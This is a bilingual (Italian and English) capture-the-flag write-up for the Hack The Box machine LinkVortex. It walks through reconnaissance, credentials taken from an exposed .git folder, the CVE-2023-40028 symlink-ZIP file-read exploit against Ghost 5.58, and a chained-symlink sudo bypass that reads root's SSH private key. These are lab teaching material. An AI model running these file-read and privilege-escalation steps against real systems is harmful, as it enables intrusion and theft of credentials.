LinkVortex

Foothold

Intanto mappiamo l’IP della macchina con l’hostname linkvortex.htb nel file /etc/hosts.

Dopo aver lanciato una scansione TCP si ottiene

$ sudo nmap -sV -vv -oN tcp2.txt linkvortex.htb
# Nmap 7.94SVN scan initiated Sat Mar  1 15:33:09 2025 as: /usr/lib/nmap/nmap -sV -vv -oN tcp2.txt linkvortex.htb
Nmap scan report for linkvortex.htb (10.10.11.47)
Host is up, received reset ttl 128 (2.1s latency).
Scanned at 2025-03-01 15:33:10 CET for 1011s
Not shown: 997 closed tcp ports (reset)
PORT    STATE    SERVICE REASON          VERSION
22/tcp  open     ssh     syn-ack ttl 128 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp  open     http    syn-ack ttl 128 Apache httpd
514/tcp filtered shell   no-response
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Mar  1 15:50:02 2025 -- 1 IP address (1 host up) scanned in 1013.11 seconds

Andando nel web server sulla porta 80 e controllando il file robots.txt sono presenti alcune risorse interessanti

User-agent: *
Sitemap: http://linkvortex.htb/sitemap.xml
Disallow: /ghost/
Disallow: /p/
Disallow: /email/
Disallow: /r/

Andando nella risorsa /ghost/ si viene reindirizzati su un portale di login

LinkVortex

Analizzando le risposte del server con Burp Suite alla risorsa sopracitata

Risposta

HTTP/1.1 200 OK
Date: Mon, 03 Mar 2025 16:54:12 GMT
Server: Apache
X-Powered-By: Express
Content-Version: v5.58
Vary: Accept-Version,Accept-Encoding
Cache-Control: no-cache, private, no-store, must-revalidate, max-stale=0, post-check=0, pre-check=0
Content-Type: application/json; charset=utf-8
Content-Length: 238
ETag: W/"ee-TcMDz7SQ+99FcyxN6r+AnRSWrTg"
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

{"site":{"title":"BitByBit Hardware","description":"Your trusted source for detailed, easy-to-understand computer parts info","logo":null,"icon":null,"accent_color":"#1c1719","locale":"en","url":"http://linkvortex.htb/","version":"5.58"}}

A questo punto si può notare che la versione di Ghost usata è la 5.58 e che dietro c’è il framework Express.

Inoltre, navigando negli articoli pubblicati nel sito è possibile scovare, al path /author/admin, che “admin” è effettivamente un autore. Siccome nel login si ha bisogno di una mail, è probabile doverla utilizzare dopo. **

Effettuando un sub-domain discovery dei VHost

ffuf -u [http://linkvortex.htb](http://linkvortex.htb/) -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt  -H "Host: FUZZ.linkvortex.htb" -mc 200

Si ottiene

LinkVortex

Abbiamo un virtual host in http://dev.linkvortex.htb

LinkVortex

Facendo enumeration sui vari path del VHost si ha che è presente la cartella .git.

Scaricando tutti i file in locale

wget -r http://dev.linkvortex.htb/.git

Si può aprire con git-cola per verificare se sono presenti delle informazioni interessanti riguardo a vecchi o nuovi commit.

LinkVortex

È stata trovata la seguente password “OctopiFociPilfer45” legata alla variabiale “const password”.

È presente anche un path di un file di configurazione che potrebbe essere utile in un secondo momento.

LinkVortex

Inoltre, nel path /.git/logs/HEAD è presente un indirizzo email [email protected]

LinkVortex

Pertanto unendo l’username admin con il dominio @linkvortex.htb trovato e provando la password trovata sopra, si riesce ad accedere al pannello di login.

[email protected]:OctopiFociPilfer45

LinkVortex

Cercando la versione 5.58 di Ghost CMS, si nota che esiste la vulnerabilità CVE-2023-40028, che permette ad utenti autenticati di poter leggere dei file sulla macchina.

https://github.com/0xyassine/CVE-2023-40028

Un riassunto di ciò che fa l’exploit:

Crea un path temporaneo

mkdir -p $PAYLOAD_PATH/content/images/2024/

Dove $PAYLOAD_PATH corrisponde al path dove si trova lo script.

Successivamente si crea un symlink per il file /etc/passwd ad un immagine placeholder

ln -s /etc/passwd $PAYLOAD_PATH/content/images/2024/$IMAGE_NAME.png

Dove $IMAGE_NAME ha un nome casuale.

Successivamente si comprime ricorsivamente l’intera cartella $PAYLOAD_PATH e l’opzione -y forza l’inclusione dei symlink nel file ZIP.

zip -r -y $PAYLOAD_ZIP_NAME $PAYLOAD_PATH/ &>/dev/null

Quello che avremo è

exploit.zip
└── content/
    └── images/
        └── 2024/
            └── abc123xyz456.png -> /etc/passwd  (symlink)

Viene poi fatto l’upload tramite l’endpoint di importazione del database di Ghost

$GHOST_URL/ghost/api/admin/db

Infine, il symlink viene richiamato all’endpoint

http://linkvortex.htb/content/images/2024/$IMAGE_NAME.png

Modificando leggermente l’exploit per adattarlo e richiamando il file di configurazione trovato in .git

LinkVortex

Si ottengono delle credenziali e facendo un tentativo in SSH con

bob:fibber-talented-worth

LinkVortex

Foothold ottenuto e prendiamo la flag user.txt.

Privilege Escalation

Effettuando il comando sudo -l si ottiene il seguente output

LinkVortex

Questo ci indica che si può eseguire lo script

/opt/ghost/clean_symlink.sh *.png

come root usando sudo senza password.

Leggendo il contenuto dello script

$ cat /opt/ghost/clean_symlink.sh
#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi

Praticamente quello che fa è verificare che un file .png non sia un link ad un file confidenziale, quindi, che contiene la parola nel path etc o root.

Se vede che un link ad un file confidenziale lo elimina, altrimenti, lo sposta in quarantena nel path /var/quarantined.

Inoltre, si nota che quando il file viene spostato nella quarantena, è possibile leggerne il contenuto. In particolare, se il la variabile di ambiente CHECK_CONTENT non esiste, viene create e impostata a FALSE e non viene letto il contenuto, altrimenti, se impostato a TRUE viene letto il contenuto del file, il cui link fa riferimento, nella cartella di quarantena.

A questo punto siccome lo script non fa controlli ricorsivi o cose simili, si potrebbero creare due link, uno che punta all’altro, per rubare il contenuto della chiave privata dell’utente root così da accedere in ssh.

A questo punto per linkare si usa il comando ln

ln [OPTION]... TARGET LINK_NAME
ln -s link2 link1.png
ln -s /root/.ssh/id_rsa link2

Ora spostiamo il soft link link2 creato nella cartella /var/quarantined e lanciamo lo script in questo modo

$ mv link2 /var/quarantined/
$ sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh link1.png
Link found [ link1.png ] , moving it to quarantine
Content:
-----BEGIN OPENSSH PRIVATE KEY-----
[...]
-----END OPENSSH PRIVATE KEY-----

Memorizzando la chiave e usandola per accedere in ssh come root

LinkVortex

Ora prendiamo e inviamo la flag root.txt.

Foothold

First, let’s map the machine’s IP to the hostname linkvortex.htb in the /etc/hosts file.

After running a TCP scan we get

$ sudo nmap -sV -vv -oN tcp2.txt linkvortex.htb
# Nmap 7.94SVN scan initiated Sat Mar  1 15:33:09 2025 as: /usr/lib/nmap/nmap -sV -vv -oN tcp2.txt linkvortex.htb
Nmap scan report for linkvortex.htb (10.10.11.47)
Host is up, received reset ttl 128 (2.1s latency).
Scanned at 2025-03-01 15:33:10 CET for 1011s
Not shown: 997 closed tcp ports (reset)
PORT    STATE    SERVICE REASON          VERSION
22/tcp  open     ssh     syn-ack ttl 128 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp  open     http    syn-ack ttl 128 Apache httpd
514/tcp filtered shell   no-response
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Mar  1 15:50:02 2025 -- 1 IP address (1 host up) scanned in 1013.11 seconds

Browsing to the web server on port 80 and checking the robots.txt file, there are some interesting resources

User-agent: *
Sitemap: http://linkvortex.htb/sitemap.xml
Disallow: /ghost/
Disallow: /p/
Disallow: /email/
Disallow: /r/

Going to the /ghost/ resource we are redirected to a login portal

LinkVortex

Analyzing the server’s responses with Burp Suite for the aforementioned resource

Response

HTTP/1.1 200 OK
Date: Mon, 03 Mar 2025 16:54:12 GMT
Server: Apache
X-Powered-By: Express
Content-Version: v5.58
Vary: Accept-Version,Accept-Encoding
Cache-Control: no-cache, private, no-store, must-revalidate, max-stale=0, post-check=0, pre-check=0
Content-Type: application/json; charset=utf-8
Content-Length: 238
ETag: W/"ee-TcMDz7SQ+99FcyxN6r+AnRSWrTg"
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

{"site":{"title":"BitByBit Hardware","description":"Your trusted source for detailed, easy-to-understand computer parts info","logo":null,"icon":null,"accent_color":"#1c1719","locale":"en","url":"http://linkvortex.htb/","version":"5.58"}}

At this point we can see that the version of Ghost in use is 5.58 and that the Express framework sits behind it.

Furthermore, browsing through the articles published on the site, we can discover, at the /author/admin path, that “admin” is indeed an author. Since the login requires an email address, it will probably be needed later. **

Performing a sub-domain discovery of the VHosts

ffuf -u [http://linkvortex.htb](http://linkvortex.htb/) -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt  -H "Host: FUZZ.linkvortex.htb" -mc 200

We get

LinkVortex

We have a virtual host at http://dev.linkvortex.htb

LinkVortex

Enumerating the various paths of the VHost, we find that the .git. folder is present.

Downloading all the files locally

wget -r http://dev.linkvortex.htb/.git

We can open it with git-cola to check whether there is any interesting information about old or new commits.

LinkVortex

The following password “OctopiFociPilfer45” was found, tied to the “const password” variable.

There is also a path to a configuration file that might be useful later.

LinkVortex

In addition, in the /.git/logs/HEAD path there is an email address [email protected]

LinkVortex

Therefore, combining the username admin with the @linkvortex.htb domain found above, and trying the password found earlier, we manage to log into the login panel.

[email protected]:OctopiFociPilfer45

LinkVortex

Searching for Ghost CMS version 5.58, we notice that vulnerability CVE-2023-40028 exists, which allows authenticated users to read files on the machine.

https://github.com/0xyassine/CVE-2023-40028

A summary of what the exploit does:

It creates a temporary path

mkdir -p $PAYLOAD_PATH/content/images/2024/

Where $PAYLOAD_PATH corresponds to the path where the script is located.

Next, a symlink is created for the /etc/passwd file pointing to a placeholder image

ln -s /etc/passwd $PAYLOAD_PATH/content/images/2024/$IMAGE_NAME.png

Where $IMAGE_NAME has a random name.

Then the entire $PAYLOAD_PATH folder is recursively compressed, and the -y option forces the inclusion of symlinks in the ZIP file.

zip -r -y $PAYLOAD_ZIP_NAME $PAYLOAD_PATH/ &>/dev/null

What we end up with is

exploit.zip
└── content/
    └── images/
        └── 2024/
            └── abc123xyz456.png -> /etc/passwd  (symlink)

The upload is then performed through Ghost’s database import endpoint

$GHOST_URL/ghost/api/admin/db

Finally, the symlink is called at the endpoint

http://linkvortex.htb/content/images/2024/$IMAGE_NAME.png

Slightly modifying the exploit to adapt it and calling the configuration file found in .git

LinkVortex

We obtain some credentials, and attempting an SSH connection with

bob:fibber-talented-worth

LinkVortex

Foothold obtained, and we grab the user.txt flag.

Privilege Escalation

Running the sudo -l command we get the following output

LinkVortex

This tells us that we can run the script

/opt/ghost/clean_symlink.sh *.png

as root using sudo without a password.

Reading the contents of the script

$ cat /opt/ghost/clean_symlink.sh
#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi

Essentially, what it does is verify that a .png file is not a link to a confidential file, that is, one whose path contains the word etc or root.

If it sees a link to a confidential file it deletes it; otherwise, it moves it to quarantine in the /var/quarantined path.

In addition, we notice that when the file is moved to quarantine, its contents can be read. In particular, if the CHECK_CONTENT environment variable does not exist, it is created and set to FALSE and the contents are not read; otherwise, if set to TRUE, the contents of the file referenced by the link are read in the quarantine folder.

At this point, since the script does not perform recursive checks or anything similar, we could create two links, one pointing to the other, in order to steal the contents of the root user’s private key and thus gain SSH access.

To create the link we use the ln command

ln [OPTION]... TARGET LINK_NAME
ln -s link2 link1.png
ln -s /root/.ssh/id_rsa link2

Now let’s move the link2 soft link we created into the /var/quarantined folder and run the script as follows

$ mv link2 /var/quarantined/
$ sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh link1.png
Link found [ link1.png ] , moving it to quarantine
Content:
-----BEGIN OPENSSH PRIVATE KEY-----
[...]
-----END OPENSSH PRIVATE KEY-----

Saving the key and using it to log in via SSH as root

LinkVortex

Now we grab and submit the root.txt flag.